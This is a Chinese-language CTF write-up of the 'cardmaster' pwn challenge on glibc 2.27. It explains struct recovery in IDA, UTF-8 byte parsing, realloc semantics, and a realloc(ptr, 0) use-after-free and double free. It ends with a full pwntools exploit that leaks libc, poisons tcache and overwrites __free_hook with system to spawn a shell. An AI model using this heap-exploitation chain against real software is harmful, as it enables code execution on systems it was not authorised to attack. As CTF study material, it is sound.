前言
去年打wdb的时候,libc2.27还没看过,所以导致没碰这道题,现在复现一下。
恢复结构体
struct deck_cards{ int suit_count; int digit_count; long long int randomize level; char* chara; void (*func)(); all_suit* all_suit_heap; }
struct all_suit{ suit* one_suit[4]; }
struct card{ long long int suit_point; long long int digit_point; }
struct suit{ card one_card[13]; }
|
这是我自己恢复的结构体。恢复结构体这一步是帮助后续分析的重中之重。
这里提一下如何在ida里插入自定义结构体:在ida里shift+F1,然后按下“Insert”键,即可插入自定义的结构体。
之后在变量上按下Y键,更改变量类型即可。
utf-8编码学习
之前只知道utf-8是变长的,但是不知道具体是如何规定的,这个题目中的show_cards函数中就利用了这个规则,之前我不清楚导致分析这段代码较困难。
这里贴一下这段代码
cur_strptr = 0; while ( v2 < a1->suit_count ) { nember_of_1 = 0; for ( i = 128; (i & a1->chara[cur_strptr]) != 0; i /= 2 ) ++nember_of_1; if ( nember_of_1 > 4 ) { puts("invalid suit table!"); exit(0); } v8[v2] = cur_strptr; v8[v2 + 52] = nember_of_1; cur_strptr += nember_of_1; v2 += nember_of_1 != 0; }
|
这段代码宏观上理解就是,首先计算第一个字节的前缀1数目,然后把当前字节下标记录下来,把前缀1数目记录下来,然后下标+=前缀1数目。
而utf-8的规则里面正好有这一条:
| Unicode 码点范围 |
UTF-8 编码格式 |
前缀 |
说明 |
| U+0000 ~ U+007F |
0xxxxxxx |
0 |
单字节(兼容 ASCII) |
| U+0080 ~ U+07FF |
110xxxxx 10xxxxxx |
110 / 10 |
双字节 |
| U+0800 ~ U+FFFF |
1110xxxx 10xxxxxx 10xxxxxx |
1110 / 10 / 10 |
三字节 |
| U+10000 ~ U+10FFFF |
11110xxx 10xxxxxx 10xxxxxx 10xxxxxx |
11110 / 10 / 10 / 10 |
四字节 |
其中第一个字节的前缀1的数目表示了当前字符用几个字节来表示,之后n-1个字节全都是10开头。
realloc学习
realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果
size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)
malloc_usable_size(realloc_ptr) >= size, 这个时候会把多余的内存释放掉,并返回原来的指针
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
这里的realloc函数同样调用了__free_hook函数。具体来说,realloc直接调用了 _libc_free函数,而free函数是 _libc_free函数的别名,而free函数调用了 _free_hook函数,因此改写free_hook同样可以作用于realloc。
分析漏洞点
这个程序的关键漏洞点在这里
if ( a1->chara == &suit_string ) tmp_str = malloc(4 * a1->suit_count); else tmp_str = realloc(a1->chara, 4 * a1->suit_count);
|
realloc的第二个参数如何是0,就会导致realloc退化成free函数,然而tmp_str会被赋值为0,但是a1->chara这个函数并不会更改,这样也就造成了uaf漏洞,同样也有double free漏洞。
exp
from pwncli import *
context(log_level='debug', arch='amd64', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) def cmd(c): sla(">> ",str(c)) def init(): cmd(1) def set_info(suit_count,digit_range,r_level,new_suite='a'): cmd(2) sla("suit count:",str(suit_count)) sla("digit range 1 - ?",str(digit_range)) sla("randomize level:",str(r_level)) if suit_count==0: return sla("new suite set:",new_suite) def get_info(): cmd(3) def shuffle(): cmd(4) def show_cards(): cmd(5) def debug(): gdb.attach(p,"b *$rebase(0xA9D)") def free(): set_info(0,13,1000) def malloc(size,pad): init() set_info(size//4,13,1000,pad) p=process("./cardmaster") libc=ELF("./libc.so.6")
malloc(0x420,b'a') free() get_info() ru("suit chara set:") libc_addr=uu64(p.recv(6))+0x7fe6fb800000-0x7fe6fbbebca0 leak("libc",libc_addr)
free_hook=libc_addr+libc.sym['__free_hook'] malloc_hook=libc_addr+libc.sym['__malloc_hook'] leak("free_hook",free_hook) system=libc_addr+libc.sym['system']
malloc(0x40,p64(system)) free()
free()
malloc(0x40,p64(free_hook))
malloc(0x40,b'/bin/sh\x00')
malloc(0x40,p64(system))
malloc(0x40,b'/bin/sh\x00')
free() ti()
|
后言
一开始由于对realloc函数不熟悉导致并没有发现漏洞点,反而被大量的堆块给迷惑了。
总结一下就是,在发现漏洞点之后,要先控制容易控制的,并且由于不是菜单题,对堆块的掌握比较差,因此要先转换成菜单题(malloc free show几个函数),从而降低分析难度。